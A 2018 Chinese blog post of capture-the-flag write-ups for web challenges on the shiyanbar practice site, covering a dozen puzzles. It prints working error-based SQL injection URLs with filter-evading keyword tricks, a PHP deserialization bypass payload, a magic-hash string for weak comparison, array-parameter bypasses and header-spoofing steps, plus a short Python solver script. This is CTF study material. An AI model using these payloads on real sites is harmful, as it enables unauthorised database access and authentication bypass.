Hu3sky's blog

实验吧WP

Word count: 828 / Reading time: 4 min
2018/04/24 Share

WEB

实验吧-CTF-简单的sql注入思路

这个题过滤的真的是太多了。。。看了wp才搞出来的
先单引号判断。存在注入
暴库
http://ctf5.shiyanbar.com/423/web/?id=11'or updatexml(1,concat(‘0x7e’,(/!select/ /!database()/ /!from/ flag LIMIT 0,1),’0x7e’),1) or ‘1’=’1
爆表
http://ctf5.shiyanbar.com/423/web/?id=11'or updatexml(1,concat(‘0x7e’,(/!select/ table_name /!from/ information_schema.tables /!where/ /!ttable_schemaable_schema/ = ‘web1’ LIMIT 0,1),’0x7e’),1) or ‘1’=’1

查字段
http://ctf5.shiyanbar.com/423/web/
?id=1%27%20or%20(updatexml(1,concat(0x7e,(/!select/%20colucolumn_namemn_name%20/!from/%20infoinformation_schema.columnsrmation_schema.columns%20/!where/%20table_name=%27flag%27 limit 0,1),0x7e),1))%20or%20%271%27=%271

查flag
http://ctf5.shiyanbar.com/423/web/
?id=1%27%20or%20(updatexml(1,concat(0x7e,(/!select/ flag /!from/ flag limit 0,1),0x7e),1))%20or%20%271%27=%271

这里顺便说一下南邮CTF一道题。题目链接 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
这道题是一道宽字节注入。因为单引号被转义了。所以在爆字段的时候需要用到16进制,例如where table_name=0x637466

天下武功唯快不破

抓包在header看到了一串base64加密的东西,解码 是要求你post的key,但每次要改变。

1
2
3
4
5
6
7
8
import requests as rq
import base64
url = "http://ctf5.shiyanbar.com/web/10/10.php"
headers = rq.get(url).headers
key = base64.b64decode(headers['FLAG']).decode().split(':')[1]
post = {'key':key}
s = rq.post(url,data=post)
print(s.text)

Forms

一开始以为是一个爆破。。。都准备写脚本了。
结果抓了个包,发现有两个post参数,一个就是PIN,另一个showsource=0,奇怪,然后把0改为1,居然出现源码了。。这下就很简单了啊
form

天网管理系统

先是右键查看源码,有这样一段说明

这里需要用到php弱类型比较,所以我传一个md5后为0的字符串 s878926199a ,这个网上有很多的。之后,返回一个/user.php?fame=hjkleffifer,跟进去。出现页面这样一个页面$unserialize_str = $_POST['password']; $data_unserialize = unserialize($unserialize_str); if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') { print_r($flag); } 伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年
可以看到是需要将pass和user反序列化都等于某一个值的时候,得到flag。但是,并不知道这个值是多少。他有提示 成也布尔,败也布尔,所以这里要用布尔值来绕过,无论比较的值是什么,结果都为true。(a代表array,s代表string,b代表bool,而数字代表个数/长度),构造password的值为 a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

这个看起来有点简单!

直接扔sqlmap。得到k0y

上传绕过

这道题是目录截断,之前也没见过这样的题,在这里学习了一波新姿势
https://blog.csdn.net/wy_97/article/details/76549405

貌似有点难

代码审计。直接看源码。需要访问的ip是1.1.1.1。所以直接改XFF头。get flag。

头有点大

根据题意。改user-agent,一开始我将这句话 Make sure you are in the region of England理解为需要我的ip是England。半天没搞出来。。结果看了wp,直接把Accept-Language改为en-gb就好了。然后改user-agent为Mozilla/5.0;.NET CLR 9.9

猫抓老鼠

抓包。header里有Content-Row: MTUyNDU2OTk1NA==。。直接post。。。得到key

Once More

传递数组绕过ereg().得到flag

Guess Next Session

抓包 清楚Session就行了。

FALSE

http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=s878926199a

##

CATALOG
  1. 1. WEB
    1. 1.1. 实验吧-CTF-简单的sql注入思路
    2. 1.2. 天下武功唯快不破
    3. 1.3. Forms
    4. 1.4. 天网管理系统
    5. 1.5. 这个看起来有点简单!
    6. 1.6. 上传绕过
    7. 1.7. 貌似有点难
    8. 1.8. 头有点大
    9. 1.9. 猫抓老鼠
    10. 1.10. Once More
    11. 1.11. Guess Next Session
    12. 1.12. FALSE